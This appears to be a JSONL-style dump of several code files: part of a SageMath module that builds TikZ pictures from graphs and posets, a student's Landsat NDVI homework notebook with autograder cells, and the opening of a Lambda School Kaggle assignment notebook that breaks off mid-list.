= DiGraph(edges, **kwds)                      # optional sage.graphs\n            sage: G.set_pos({0:(0,0), 1:(1,0)})                   # optional sage.graphs\n            sage: f = lambda label:','.join(label)                # optional sage.graphs\n            sage: TikzPicture.from_graph_with_pos(G, merge_label_function=f) # optional sage.graphs\n            \\documentclass[tikz]{standalone}\n            \\standaloneconfig{border=4mm}\n            \\begin{document}\n            \\begin{tikzpicture}\n            [auto,scale=1]\n            % vertices\n            \\node (node_0) at (0, 0) {0};\n            \\node (node_1) at (1, 0) {1};\n            % edges\n            \\draw[->] (node_0) -- node {b,c} (node_1);\n            % loops\n            \\draw (node_0) edge [loop above] node {a} ();\n            \\end{tikzpicture}\n            \\end{document}\n\n        TESTS::\n\n            sage: edges = [(0,0,'a'),(0,1,'b'),(0,1,'c')]\n            sage: kwds = dict(format='list_of_edges', loops=True, multiedges=True)\n            sage: G = DiGraph(edges, **kwds)               # optional sage.graphs\n            sage: TikzPicture.from_graph_with_pos(G)       # optional sage.graphs\n            Traceback (most recent call last):\n            ...\n            ValueError: vertex positions need to be set first\n        \"\"\"\n        pos = graph.get_pos()\n        if pos is None:\n            raise ValueError('vertex positions need to be set first')\n\n        if merge_multiedges and graph.has_multiple_edges():\n            from collections import defaultdict\n            d = defaultdict(list)\n            for (u, v, label) in graph.edges():\n                d[(u, v)].append(label)\n            edges = [(u, v, merge_label_function(label_list)) for (u, v), label_list in d.items()]\n            loops = graph.has_loops()\n            if graph.is_directed():\n                from sage.graphs.digraph import DiGraph\n                graph = DiGraph(edges, format='list_of_edges', loops=loops)\n            else:\n                from sage.graphs.graph import Graph\n                graph = Graph(edges, format='list_of_edges', loops=loops)\n\n        keys_for_vertices = graph._keys_for_vertices()\n\n        lines = []\n        lines.append(r'\\begin{tikzpicture}')\n        lines.append(r'[auto,scale={}]'.format(scale))\n\n        # vertices\n        lines.append(r'% vertices')\n        for u in graph.vertices():\n            line = r'\\node ({}) at {} {{{}}};'.format(keys_for_vertices(u),\n                                                      pos[u], u)\n            lines.append(line)\n\n        # edges\n        lines.append(r'% edges')\n        arrow = '->' if graph.is_directed() else ''\n        for (u, v, label) in graph.edges():\n            if u == v:\n                # loops are done below\n                continue\n            if label:\n                line = r'\\draw[{}] ({}) -- node {{{}}} ({});'.format(arrow,\n                                                    keys_for_vertices(u),\n                                                    label,\n                                                    keys_for_vertices(v))\n            else:\n                line = r'\\draw[{}] ({}) -- ({});'.format(arrow,\n                                                    keys_for_vertices(u),\n                                                    keys_for_vertices(v))\n            lines.append(line)\n\n        # loops\n        lines.append(r'% loops')\n        for (u, v, label) in graph.loop_edges():\n            line = r'\\draw ({}) edge [loop above] node {{{}}} ();'.format(\n                keys_for_vertices(u), label)\n            lines.append(line)\n\n        lines.append(r'\\end{tikzpicture}')\n        tikz = '\\n'.join(lines)\n        return TikzPicture(tikz, standalone_config=[\"border=4mm\"])\n\n    @classmethod\n    @experimental(trac_number=20343)\n    def from_poset(cls, poset, **kwds):\n        r\"\"\"\n        Convert a poset to a tikzpicture using graphviz and dot2tex.\n\n        .. NOTE::\n\n            Prerequisite: dot2tex optional Sage package and graphviz must be\n            installed.\n\n        .. WARNING::\n\n            This method might be deleted in the future in favor of a method\n            in the graph class returning a tikz picture.\n\n        INPUT:\n\n        - ``poset`` -- poset\n        - ``prog`` -- string (default: ``'dot'``) the program used for the\n          layout corresponding to one of the software of the graphviz\n          suite: 'dot', 'neato', 'twopi', 'circo' or 'fdp'.\n        - ``edge_labels`` -- bool (default: ``True``)\n        - ``color_by_label`` -- bool (default: ``False``)\n        - ``rankdir`` -- string (default: ``'down'``)\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: P = posets.PentagonPoset()       # optional sage.combinat\n            sage: tikz = TikzPicture.from_poset(P) # optional sage.combinat dot2tex graphviz\n            doctest:...: FutureWarning: This class/method/function is marked as experimental.\n            It, its functionality or its interface might change without a formal deprecation.\n            See http://trac.sagemath.org/20343 for details.\n\n        ::\n\n            sage: tikz = TikzPicture.from_poset(P, prog='neato', color_by_label=True) # optional sage.combinat dot2tex # long time (3s)\n\n        ::\n\n            sage: P = posets.SymmetricGroupWeakOrderPoset(4)     # optional sage.combinat\n            sage: tikz = TikzPicture.from_poset(P)               # optional sage.combinat dot2tex graphviz # long time (4s)\n            sage: tikz = TikzPicture.from_poset(P, prog='neato') # optional sage.combinat dot2tex graphviz # long time (4s)\n        \"\"\"\n        graph = poset.hasse_diagram()\n        return cls.from_graph(graph, **kwds)\n\n    def tikz_picture_code(self):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: print(t.tikz_picture_code())\n            \\begin{tikzpicture}\n            \\draw (0,0) -- (1,1);\n            \\end{tikzpicture}\n        \"\"\"\n        return self.content()\n", "meta": {"hexsha": "d4fcca9e5d01c891013ffb2f187e1bf4e635e7a3", "size": 59496, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/latex_standalone.py", "max_stars_repo_name": "LaisRast/sage", "max_stars_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/misc/latex_standalone.py", "max_issues_repo_name": "LaisRast/sage", "max_issues_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/latex_standalone.py", "max_forks_repo_name": "LaisRast/sage", "max_forks_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.9371727749, "max_line_length": 142, "alphanum_fraction": 0.5724418448, "include": true, "reason": "import sage,from sage", "num_tokens": 14432, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.1943678063520299, "lm_q1q2_score": 0.09187445044956455}}
{"text": "# %% [markdown]\n# <img style='float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height='150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# %% [markdown]\n# # Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel ** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. ** DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# # Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting(HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables.\n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and , where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# %% [markdown]\n# ### Add Your Name Below \n# **Your Name: Mitch Thompson**\n\n# %% [markdown]\n# <img style=\"float: left;\" src=\"colored-bar.png'/>\n\n# %% [markdown]\n# ---\n\n# %% [markdown]\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# %% [markdown]\n# **PSEUDOCODE**\n# \n# * Get sorted list of landsat tif files needed for NDVI for a single scene (bands 4-5)\n# \n# * Open and crop the bands to sites/site-name/vector/site-name-crop.shp\n# \n# * Restrict the Landsat 8 values to the 'valid range\" of 0 to 10000\n# \n# * Stack (concat) the bands (optional for NDVI calc)\n# \n# * Open QA layer & crop \n# \n# * Generate cloud mask\n# \n# * Calculate mean NDVI \n# \n# * Generate DataFrame w/ mean NDVI\n# \n# * Grab site name and date from filename (e.g. file_name[0:4] for site_name)\n# \n# * Format date using DateTime \n# \n# * Add or rename columns\n# \n# * Index DF on the date\n# \n# * Output to csv\n\n# %%\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# %%\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport geopandas as gpd\nimport rioxarray as rxr\nimport xarray as xr\nimport earthpy as et\nimport warnings\n\nfrom glob import glob\nfrom matplotlib.dates import DateFormatter\n\nsns.set(font_scale=1.5, style='whitegrid', context='notebook')\n\n\n# %%\net.data.get_data('ndvi-automation')\n\ndata_path = os.path.join(et.io.HOME, 'earth-analytics', 'data')\n\nif os.path.exists(data_path):\n    os.chdir(data_path)\nelse:\n    os.makedirs(data_path)\n    print('The new directory is created!')\n    os.chdir(data_path)\n\nprint('Current working directory is set to: ', os.getcwd())\n\n\n# %%\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# %% [markdown]\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# %% [markdown]\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# %%\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# %%\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\ndef open_clean_bands(band_path, valid_range=None):\n    \"\"\"Open and mask a single landsat band using a pixel_qa layer.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with values that should be masked set to 1 for True (Boolean)\n    \"\"\"\n\n    band = rxr.open_rasterio(band_path, masked=True).squeeze()\n\n    if valid_range:\n        mask = ((band < valid_range[0]) | (band > valid_range[1]))\n        band = band.where(~xr.where(mask, True, False))\n\n    return band\n\n\ndef mask_crop_ndvi(all_bands, crop_bound, pixel_qa, vals):\n    \"\"\"Compute normalized difference vegetation index (NDVI) from given landsat bands. Crop the NDVI layer and the pixel qa layer to the boundary as specified by a given crop_bound file. \n\n    Parameters\n    -----------\n    all_bands : list\n        A list containing the xarray objects for landsat  bands 4 and  5\n    crop_bound: geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data using rasterio mask().\n    pixel_qa: xarray DataArray\n        An xarray DataArray with pixel qa values that have not yet been turned into a mask (0s and 1s)\n    vals: list\n        A list of values needed to create the cloud mask\n\n    Returns\n    -----------\n    ndvi_crop : Xarray Dataset\n        A cropped and masked xarray object containing NDVI values\n    \"\"\"\n\n    crop_json = crop_bound.geometry\n\n    # Clip pixel qa cloud mask layer\n    cl_mask_crop = pixel_qa.rio.clip(crop_json)\n\n    # Calculate NDVI\n    ndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\n\n    # Clip NDVI layer\n    ndvi_crop = ndvi_xr.rio.clip(crop_json)\n\n    # Apply cloud mask to NDVI\n    ndvi_crop = ndvi_crop.where(~cl_mask_crop.isin(vals))\n\n    return ndvi_crop\n\n\n# %%\n# Set base file path for single scene data\nharv_data_path = os.path.join('ndvi-automation',\n                              'sites',\n                              'HARV',\n                              'landsat-crop',\n                              'LC080130302017031701T1-SC20181023151837')\n\n# Get sorted list of landsat tif files needed for NDVI for a single scene\nharv_band_path = sorted(glob(os.path.join(harv_data_path, '*band*[4-5].tif')))\n\n\n# %%\n# Generate list of bands for NDVI calculation\nall_bands_harv = []\n\n# Function call in loop\nfor aband in harv_band_path:\n    cleaned_band = open_clean_bands(band_path=aband, valid_range=(0, 10000))\n    all_bands_harv.append(cleaned_band)\n    date = aband[50:58]\n\n# Set variable for site directories\nsites_path = glob(os.path.join('ndvi-automation', 'sites' + '/*/'))\n\n# Get site name from directory path\nvector_dir_harv = os.path.join(sites_path[1], 'vector')\nsite_name = os.path.basename(os.path.normpath(sites_path[1]))\n\n# Format date from filename\nsite_date = pd.to_datetime(date, format='%Y%m%d')\n\n\n# %%\n# Open crop boundary\nsite_boundary_path = os.path.join(vector_dir_harv,  site_name + '-crop.shp')\ncrop_bound = gpd.read_file(site_boundary_path)\n\n# Set path to cloud mask layer\nharv_qa_path = glob(os.path.join(harv_data_path, '*qa*'))\n\n# Open the cloud mask layer\nqa_layer = rxr.open_rasterio(harv_qa_path[0], masked=True).squeeze()\n\n# List of Landsat 8 cloud no vals\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n# Function call\nndvi_clean = mask_crop_ndvi(all_bands=all_bands_harv,\n                            crop_bound=crop_bound,\n                            pixel_qa=qa_layer,\n                            vals=vals)\n\n# Compute the arithmetic mean, ignoring NaNs\nmean_ndvi = np.nanmean(ndvi_clean)\n\n\n# %%\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n# Dict for df\nndvi_dict = {'site': site_name, 'mean_ndvi': mean_ndvi, 'date': [site_date]}\n\nndvi_mean_df = pd.DataFrame.from_dict(ndvi_dict)\n\nndvi_mean_df.set_index('date')\n\n\n# %%\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# %% [markdown]\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# %%\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# Supress warnings\nwarnings.filterwarnings(action='ignore', message='Mean of empty slice')\n\nall_data = []\n\n# Loop through file paths\nfor site_path in sites_path:\n    site_name = os.path.basename(os.path.normpath(site_path))\n    vector_dir = os.path.join(site_path, 'vector')\n    site_boundary_path = os.path.join(vector_dir, site_name + '-crop.shp')\n    crop_bound = gpd.read_file(site_boundary_path)\n    landsat_dir = os.path.join(site_path, 'landsat-crop')\n    all_scenes = sorted(glob(os.path.join(landsat_dir, 'LC08*')))\n\n    # Loop through files\n    for scene in all_scenes:\n        band_paths = sorted(glob(os.path.join(scene,\n                                              '*band*[4-5].tif')))\n        all_bands = []\n        # Function call in loop\n        for band in band_paths:\n            cleaned_band = open_clean_bands(band_path=band,\n                                            valid_range=(0, 10000))\n            all_bands.append(cleaned_band)\n\n        qa_path = glob(os.path.join(scene, '*pixel_qa*'))\n        qa_layer = rxr.open_rasterio(qa_path[0], masked=True).squeeze()\n\n        # Function call\n        ndvi_clean = mask_crop_ndvi(all_bands=all_bands,\n                                    crop_bound=crop_bound,\n                                    pixel_qa=qa_layer,\n                                    vals=vals)\n\n        # Compute the arithmetic mean, ignoring NaNs\n        ndvi_mean = np.nanmean(ndvi_clean)\n\n        # Grab date from filename convention\n        date = os.path.basename(os.path.normpath(band_paths[0]))[17:25]\n        site_data = [date, site_name, ndvi_mean]\n        all_data.append(site_data)\n\nndvi_mean_df = pd.DataFrame(data=all_data,\n                            columns=['date', 'site', 'mean_ndvi'])\nndvi_mean_df['date'] = pd.to_datetime(ndvi_mean_df['date'])\nndvi_mean_df.set_index('date', inplace=True)\n\nndvi_mean_df\n\n\n# %%\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points += 2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points += 2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points += 3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points += 3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n# %%\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# Plot mean NDVI for both sites across the year.\nndvi_mean_df.dropna(subset=['mean_ndvi'], inplace=True)\n\ncolors = {'HARV': 'purple',\n          'SJER': 'black'}\n\nfig, ax = plt.subplots(figsize=(12, 8))\n\nfor site, group in ndvi_mean_df.groupby('site'):\n    ax.plot(group.index,\n            group.mean_ndvi,\n            marker='o',\n            color=colors[site],\n            label=site)\n\ndate_form = DateFormatter('%b')\nax.xaxis.set_major_formatter(date_form)\n\nfig.suptitle('Mean NDVI, HARV and SJER Field Sites', x=.52, y=.95)\nax.set(title=' Landsat 8, Jan 2017 - Dec 2017',\n       xlabel='Month',\n       ylabel='Mean NDVI')\nax.legend()\n\nfig.tight_layout()\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# %%\n# Ignore this cell for the autograding tests\n\n\n# %%\n# Ignore this cell for the autograding tests\n\n\n# %% [markdown]\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# %% [markdown]\n# The Normalized Difference Vegetation Index measures the levels of chlorophyll in vegetation, ranging from -1 to +1. The higher the measurement, the healthier and denser the vegetation likely is. Arranging flights over the HARV site would be best timed in the months of May through October, according to the 2017 values. Similiarily, the months of March and April would be best for the SJER field site per the 2017 values.\n\n# %% [markdown]\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# %% [markdown]\n# Monitoring vegetative changes over time in each site would require an increased persistance of data over time instead of the single year plotted above. Initial modifications to the workflow would include these longer time series datasets. Secondary to this longer time series would be the distinct comparison and analyses of the time windows of seasonal changes with the hypothesis as seasonal triggers should not vary by 30-60 days.\n\n# %% [markdown]\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# %% [markdown]\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# %% [markdown]\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# %%\ncsvfile = os.path.join(data_path,\n                       'ndvi-automation',\n                       'outputs',\n                       'harv_sjer_meanNDVI_clean.csv')\nndvi_mean_df.to_csv(csvfile)\nprint('************Complete*************')\n\n\n\n", "meta": {"hexsha": "8613de6002112e3bfdd0854125ff4b4ef2c7bca6", "size": 23327, "ext": "py", "lang": "Python", "max_stars_repo_path": "thompson_mitch_ndvi.py", "max_stars_repo_name": "mthomp89/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "ece4011d8af9cd1550efe8c4fd20fa6bba250123", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "thompson_mitch_ndvi.py", "max_issues_repo_name": "mthomp89/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "ece4011d8af9cd1550efe8c4fd20fa6bba250123", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "thompson_mitch_ndvi.py", "max_forks_repo_name": "mthomp89/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "ece4011d8af9cd1550efe8c4fd20fa6bba250123", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.677672956, "max_line_length": 435, "alphanum_fraction": 0.7025335448, "include": true, "reason": "import numpy", "num_tokens": 5839, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34158248603300034, "lm_q2_score": 0.2689414155105029, "lm_q1q2_score": 0.0918656773073117}}
{"text": "#%% [markdown]\n# Lambda School Data Science, Unit 2: Predictive Modeling\n# \n# # Kaggle Challenge, Module 4\n# \n# ## Assignment\n# - [ ] If you haven't yet, [review requirements for your portfolio project](https://lambdaschool.github.io/ds/unit2), then submit your dataset.\n# - [ ] Plot a confusion matrix for your Tanzania Waterpumps model.\n# - [ ] Continue to participate in our Kaggle challenge. Every student should have made at least one submission that scores at least 60% accuracy (above the majority class baseline).\n# - [ ] Submit your final predictions to our Kaggle competition. Optionally, go to **My Submissions**, and _\"you may select up to 1 submission to be used to count towards your final leaderboard score.\"_\n# - [ ] Commit your notebook to your fork of the GitHub repo.\n# - [ ] Read [Maximizing Scarce Maintenance Resources with Data: Applying predictive modeling, precision at k, and clustering to optimize impact](https://towardsdatascience.com/maximizing-scarce-maintenance-resources-with-data-8f3491133050), by Lambda DS3 student Michael Brady. His blog post extends the Tanzania Waterpumps scenario, far beyond what's in the lecture notebook.\n# \n# \n# ## Stretch Goals\n# \n# ### Reading\n# - [Attacking discrimination with smarter machine learning](https://research.google.com/bigpicture/attacking-discrimination-in-ml/), by Google Research, with  interactive visualizations. _\"A threshold classifier essentially makes a yes/no decision, putting things in one category or another. We look at how these classifiers work, ways they can potentially be unfair, and how you might turn an unfair classifier into a fairer one. As an illustrative example, we focus on loan granting scenarios where a bank may grant or deny a loan based on a single, automatically computed number such as a credit score.\"_\n# - [Notebook about how to calculate expected value from a confusion matrix by treating it as a cost-benefit matrix](https://github.com/podopie/DAT18NYC/blob/master/classes/13-expected_value_cost_benefit_analysis.ipynb)\n# - [Simple guide to confusion matrix terminology](https://www.dataschool.io/simple-guide-to-confusion-matrix-terminology/) by Kevin Markham, with video\n# - [Visualizing Machine Learning Thresholds to Make Better Business Decisions](https://blog.insightdatascience.com/visualizing-machine-learning-thresholds-to-make-better-business-decisions-4ab07f823415)\n# \n# \n# ### Doing\n# - [ ] Share visualizations in our Slack channel!\n# - [ ] RandomizedSearchCV / GridSearchCV, for model selection. 